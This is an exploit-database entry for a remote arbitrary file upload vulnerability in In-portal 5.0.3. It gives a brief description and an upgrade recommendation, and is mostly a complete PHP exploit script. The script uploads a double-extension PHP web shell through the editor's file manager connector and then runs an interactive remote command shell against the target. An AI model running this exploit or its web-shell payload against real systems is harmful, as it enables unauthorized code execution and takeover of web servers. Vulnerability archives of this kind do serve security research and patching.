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vendor:
In-portal 5.0.3
by:
eidelweiss
9,3
CVSS
HIGH
Remote Arbitrary File Upload
434
CWE
Product Name: In-portal 5.0.3
Affected Version From: 5.0.3
Affected Version To: 5.0.3
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache
2020

In-portal 5.0.3 Remote Arbitrary File Upload Exploit

In-portal 5.0.3 is vulnerable to a remote arbitrary file upload vulnerability. This vulnerability exists due to insufficient validation of user-supplied input in the 'FileUpload' function of the 'commands.php' script. An attacker can exploit this vulnerability to upload arbitrary files to the web server, which can lead to remote code execution. The vulnerable code is located in the 'path/core/editor/editor/filemanager/connectors/php/config.php' and 'path/core/editor/editor/filemanager/connectors/php/commands.php' scripts.

Mitigation:

Upgrade to the latest version of In-portal 5.0.3 or later.
Source

Exploit-DB raw data:

<?php
/*
 -----------------------------------------------------------------
 In-portal 5.0.3 Remote Arbitrary File Upload Exploit
 -----------------------------------------------------------------

 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0     _                   __           __       __                     1
 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 1                  \ \____/ >> Exploit database separated by exploit   0
 0                   \/___/          type (local, remote, DoS, etc.)    1
 1                                                                      1
 0  [+] Site            : Inj3ct0r.com                                  0
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
 0                                                                      0
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

 Developers: http://www.in-portal.org/
 Download : http://www.in-portal.com/download.html
 exploited by ..: eidelweiss
 Special thanks to all my friends who helped and support me when i sick
 details..: works with an Apache server with the mod_mime module installed (if specific)
  
 [-] vulnerable code in path/core/editor/editor/filemanager/connectors/php/config.php
     
    [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
    [*] 
    [*]	$Config['Enabled'] = true ;
    [*]
    [*] // Path to user files relative to the document root.
    [*] $Config['UserFilesPath'] = BASE_PATH . WRITEBALE_BASE . '/user_files/';
    [*]
    [*] // Fill the following value it you prefer to specify the absolute path for the
    [*] // user files directory. Usefull if you are using a virtual directory, symbolic
    [*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
    [*] // Attention: The above 'UserFilesPath' must point to the same directory.
    [*] 
    [*]
    [*] $Config['AllowedExtensions']['File']	= array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]
    [*] $Config['DeniedExtensions']['File']     = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Image']   = array('bmp','gif','jpeg','jpg','png') ;
    [*] $Config['DeniedExtensions']['Image']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Flash']   = array('swf','flv') ;
    [*] $Config['DeniedExtensions']['Flash']    = array() ;
    [*]
    [*] $Config['AllowedExtensions']['Media']   = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
    [*] $Config['DeniedExtensions']['Media']    = array() ;
     
    with a default configuration of this script, an attacker might be able to upload arbitrary
    files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
 
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
function upload()
{
 global $host, $path;
  
 $connector = "/core/editor/editor/filemanager/connectors/php/config.php";
 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
  
 foreach ($file_ext as $ext)
 {
  print "\n[-] Trying to upload with .{$ext} extension...";
   
  $data  = "--abcdef\r\n";
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
  $data .= "--abcdef--\r\n";
   
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
   
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
   
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
   
  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
   
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
   
  sleep(1);
 }
  
 return false;
}
print "\n+--------------------------------------------------------------------+";
print "\n| In-portal 5.0.3 Remote Arbitrary File Upload Exploit by eidelweiss |";
print "\n+--------------------------------------------------------------------+\n";
if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /In-portal/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\portal-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
 }
 else break;
}
?>